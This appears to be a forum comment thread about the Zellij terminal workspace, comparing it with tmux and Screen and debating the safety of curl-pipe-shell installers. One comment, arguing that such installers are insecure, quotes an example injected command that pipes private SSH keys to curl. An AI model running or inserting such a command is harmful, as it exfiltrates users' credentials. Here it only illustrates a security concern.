Zellij: A terminal workspace with batteries included
zellij.dev
zellij.dev
Which shows that they are going places gnu screen and tmux have never wanted to.
In zellij you can scroll through and flip between different terminals that show sixel images, it's quite neat, knowing that such leaps are being made.
Meanwhile as a longtime GNU Screen user, I've been using workarounds to pass through hyperlink markup (ls --hyperlink) and thinking about what I could do if there was sixel or other image protocol support - Zellij already supports hyperlinks just fine, and now images so it is very promising.
I think I use screen in an unusual way, I know a few keyboard shortcuts but 99% of the time I use the command line.
If you press Ctrl-A :, you get a command line with tab completion to access all the screen commands. I have no idea what the shortcut is to split a window, because I just use :split. Same with :resize, :focus, :remove, :paste, :title, etc, etc. I'm quite happy with one less application I need to memorize bindings for, and I'm reluctant to give that up!
Does Zellij do something similar?
The default layout makes it easy to get around without learning keyboard shortcuts because it shows you what the options are per mode.
It would be pretty easy to create a plug-in that let you run different actions by name with fuzzy matching.
Good news that tmux allows to customize bindings, including "leader" key - so I've adjusted my .tmux.conf to have the same bindings as in screen and switching them without enforcing myself (in that rare cases when tmux is not present/cannot be installed on server).
For reference - https://github.com/CoolCold/environ/blob/master/.tmux.conf
It's great! For someone who wants a terminal multiplexer but a) doesn't feel like learning all the idiosyncracies of tmux and b) is OK with adding some configs in toml — it's ideal.
The downsides are that it's not perfectly stable — maybe once a month I get a panic — and some terminal cobwebs aren't encapsulated — e.g. it's not possible to use "[" in key mappings.
Zellij seems to be targeted on local machine of end user (desktop, laptop) vs being used on server through ssh. Nothing bad about that of course, just this product is not for me.
I love that it's more discoverable, with the keybindings displayed more readily.
I think one feature I use from Tmux frequently enough is switching between sessions. It's not currently something the zellij client can do.
Discoverability is #1 on my list of any new app. I don't want to spend weeks learning commands or referring to the manual to use functionality that I know is there. Over time, recurring patterns I'll memorize the shortcuts for. The rarer stuff I can go through the menu, explore my options and get tentative result using my own data.
You could also use a thing like a neovim distribution that has which-key support.
which-key (from emacs) is excellent, and I wish more programs adopted the idiom. I'd say in Helix's case, it's good for helping discover the long tail of features you don't use often. It'd be a struggle to use without learning some set of navigation/editing.
Without having used it, micro https://github.com/zyedidia/micro seems like it's a nano alternative to take a look at, too.
Do you miss it in Tmux? Not that I remember all the hotkeys, but most 10 of them used 99% of the time for sure, for the rest just `<leader>+?`, `Ctrl+a ?` for my config - shows your current settings.
I still think it's a neat feature for keyboard-driven interfaces to have. -- e.g. I'd rather poke around lazygit than tig.
Since the debate has such large numbers on both sides, your individual opinion on it is neither interesting nor germane.
The argument is that it is insecure. Most easily because I can inject, "cat ~/.ssh/*_rsa | curl ..." and get your company ssh keys. There's no reason rust, brew and all the rest can't provide a Download page with a checksum. They choose not to, like this project chose not to, because it doesn't look as sexy.
It's really silly.
I trust Rust to not put such a thing in their binary. I do not trust an arbitrary man in the middle, and it's trivial to modify a shell script.
Without a checksum, I can't ensure the binary im piping through the shell is the binary they posted and built. Anyone can step in, modify a few lines, and get access to a large part of my system. The barrier to entry to add such capability to arbitrary binaries is outrageously high.
Not everyone uses Linux, and not every package can be audited by repo devs. It’s simply not scalable.
Going even further, what is stopping a malicious attack on the package source itself--like someone gaining control of the package source and committing a malicious version (as NPM, pypi and other registries have seen)?
The point is, "use your package manager" is not any better in the grand scheme of things than blindly curling and executing a script. Neither option is perfectly secure.
It's their http server, or a machine that feeds that http server, which is a good target for a compromise. Injecting a little bit of malicious code that steals something, or installs a fileless piece of malware, would bring massive benefits to the perpetrator, even if the exploit is short-lived.
That shell script should be a zip (gzip, xz) file, with a sha256 hash of it published on a different, separately hosted resource.
Maybe we should provide an utility that just does that in one command. It could even be a shell script...
If you can inject that breaking TLS which secures everything on the internet, why can't you inject your own checksum on the "download page"?
But really, curl | bash isn't the end of the world.
If they do it against a github url they also have the security of github behind you, because you can't differentiate on user agent there, which seems to be the commonly argued pitfall. Or other ways to detect you're not a browser, on a hosted platform you have someone else's security team behind your back.
> Please don't complain about tangential annoyances—things like article or website formats, name collisions, or back-button breakage. They're too common to be interesting.
> Avoid unrelated controversies, generic tangents, and internet tropes.
> Please don't post shallow dismissals, especially of other people's work.
> Please don't pick the most provocative thing in an article or post to complain about in the thread. Find something interesting to respond to instead.
For what it's worth, I can rattle off many more project names at random in 30s, and odds are they'll all have installation methods that aren't curl-pipe-shell, there are just so many more of them.
That would be using your tools, not kvetching online. And we can't have that.
Is all that too hard? No problem. Stand up your own repository for each distribution mechanism and instruct the user to run a bunch of random curl and key handling commands to bind their machine to this new software supply chain attack channel. At least this 'potentially malicious' code is being checksumed/gpg verified!
-- the point --
'curl | sh' is inherently no different from a trust perspective then issuing a package installation command or installing a new repository source for a package manager. Each user makes the value judgement if they trust the software or not. Your free to run the 'curl' part and inspect the script, or contribute packages to the byzantine linux/unix ecosystem if it boils your blood so hard.
Practicality is a feature sometimes.
But I'd agree that the hurdle to get your package into system repositories likely ain't with it. People are free to compile it themselves, download it manually or whatever floats their boats if they don't want to use the quick and easy install script... Which they can audit by saving it to the filesystem before executing the file.
Malicious people do malicious things? I worry that we conflate trust with validity. Some package systems do it better than others, but in principle you trust that for example, a maintainer of a package repository is not serving you bad checksums and malicious content. After all these systems get their checksums/keys on-first-use, so you still need to make the trust judgement. And they could still change the responses based on your ip, user agent, or other metadata they have access to when you interact with the system.
To boil it down to my gripe, the comments about checksums/gpg signing being the reason to never 'curl | sh' make no sense until you can clear the trust argument first, which no one does. And once you do clear the trust argument, and conclude the source is trustworthy, we can have a more technical debate on the distribution mechanism itself and what makes sense from that perspective.
edit: forgot to add, 'curl | sh' is also a trust on-first-use scenario just like with package ecosystems.
A compromise from a malicious curl|bash script is basically impossible to detect. All other avenues at least give you the potential ability to figure out how you were compromised after the fact. With curl|bash there is no trail and you can never find out which commands were actually excecuted, because it's possible to detect the |bash on the server that's providing the script.
Since we've passed the trust gate up to this point for discussion purposes, I still wonder if there is a better model for young projects. Its not just we have multiple package formats, its the per distro/version matrix that tends to bite small developers and projects on time commitment. I would like to see something better than 'curl | sh' that is practical and portable across the unix-y ecosystem. Perhaps a third-party checksum db that caches valid script hashes ala golang sumdb or similar. Seems ripe for improvement.
Sure, but what you're missing is that this argument would also strike down package managers. For example, you could similarly fingerprint the difference in behaviors for apt-get vs normal http utilities and only serve malicious packages to people grabbing via apt (likely someone trying to run the code) vs downloading in a browser or via curl/wget (most likely an auditor). This is trivial to do and of course individual packages as well as entire package delivery mechanisms have been compromised.
The value add for package systems is signatures.
Feel free to create a proof of concept if that's actually possible, then you'll be able to discuss it.
You'll likely also get incredible job offers as that would be a Goldmine for blackhats and various state actors
I also miss a few tmux plugins.
I can configure panels with YAML, it looks like. Why would I want to change my resizable panes for a set of static ones? It supports arbitrary plugins, is says. But can't I just run any program in tux, so what is the point? The screenshots seem to mostly show how loud and colorful the chrome is, which seems distracting. And then the roadmap seems to be the only feature list, does that mean the software is actually "batteries-will-eventually-be-included"?
> regarding layouts/panes: the panes you configure in the layouts are still resizable a runtime. It just saves you the initial setup.
I might use a "save current layout as a template" command, I guess. But I don't think I'd ever bother to learn the custom configuration format for building these myself. If you already have such a command, I'd suggest highlighting that on the site instead of a screenshot of YAML.
> imagine custom expandable folds depending on content, notifications depending on content
OK, this seems like it might be interesting to play with. Is there any "killer plugin" for it yet?
FWIW, this is available in tmux as a plugin. Very convenient and highly recommended.
https://github.com/tmux-plugins/tmux-resurrect
I haven't tried Zellij, but it looks interesting. This is a great feature, and I think incorporating it into the base software reflects good UX priorities.
On windows it was Windows terminal.
On Linux, I was using Konsole (KDE).
Just more than enough
- I can create window splits running multiple shell sessions in each pane, and then "zoom" in to an individual pane to focus on what I'm doing in that shell session.
- I can organize my work into named sessions, with multiple windows within each session, and panes within each window, and navigate between these using the keyboard.
- I can persist that session/window/pane structure across machine reboots (tmux-resurrect). The result is that I always have the same set of tmux shell sessions running, corresponding to the different projects that I work on.
- The same keybindings for session/window/pane management work whether I'm on MacOS or on a remote linux machine running tmux.
But I'm not a very advanced tmux user and there's a lot more I could do. If you look through the tmux feature set it will give you an idea of what you can do beyond what you can do with iTerm2. iTerm2 does have its own "tmux integration mode" but that's never quite appealed to me: I use tmux specifically because I want the tmux style of window splits etc, and because I want the familiar keybindings to be the same when I'm on a linux machine. So placing tmux behind the iTerm2 UI isn't what I'm personally looking for. I think! Or maybe I've misunderstood the iTerm2 feature.
But for the Neovim users (including myself), this is handy if they would like to use other applications besides neovim while keeping their neovim session open.
It uses the (n)vim remote API with tmux to maintain a global (n)vim session and redirects files opened via `vmux` back to the global session and switches to the window in tmux that session is visible in.
Hints:
- use `pipx` [2] to install `vmux` to make it available globally so you don't need to mess around with virtual environments.
- just `alias nvim=vmux`, and use `command nvim` if you need the real thing.
- I set the following in my profile file:
export VMUX_EDITOR="nvim"
export VMUX_GLOBAL="true"
alias nvim=vmux
The ability to close terminal and reconnect to it later is a key defining reason I run ~90% of my neovim sessions inside of tmux.
I created this tool originally for people like us. It has lots and lots of extra features and functionality (eg. opening the current pane scrollback inside your default editor in-place).
Check it out if you like.
Wow, that was my favorite feature in dvtm. I'll definitely check it out because while I mostly just use terminal buffers in NeoVim I always get so annoyed that moving the cursor is only possible letter by letter with arrow keys, which is ironic because every bash terminal supports basic inline Vim navigation.
Little comment about the website: I think it would be better to show the content of the About page (or a summary) on the start page instead of just telling people to install a program they don't know anything about. "Terminal workspace with batteries included" can mean almost anything.
I say this as a vim user, but it reminds me of what nano is compared to vim. With zellij, you can jump in blind and learn how it works. Compared to tmux, which is great, but like vim, requires more upfront learning.
And the configuration is awesome. I’ve defined workspaces that look like a sophisticated IDE with little effort. It always seemed to be more effort doing the same in tmux.
https://zellij.dev/documentation/img/layout-template-example...
In general the problem of colliding keybindings is a hard one, and one we plan to address in the near future as we chip away at some technical debt that stands in our way.
Too much overlap in functionality. And windows in windows in windows in ...and another set of keybindings to memorize.
To get a persistent session, just run Emacs in screen.
Terminal support in emacs isn't super great so there's definitely room for improvement there. Maybe there's even room for Zillij and emacs to integrate via plugins. That could be quite interesting. I still use emacs and tmux side by side without any integration.
(Yes, Emacs can still run in terminals if you want to. You just don’t need to keep pretending it’s 1979.)
I rarely bother splitting a tab into multiple panes (with either tool).
I like tmux's model where I can switch to a different session quickly, or switch to a pane quickly.
I've tried using vterm in Emacs, but it doesn't stick as nicely to how I think about things.
Screenshots in the README!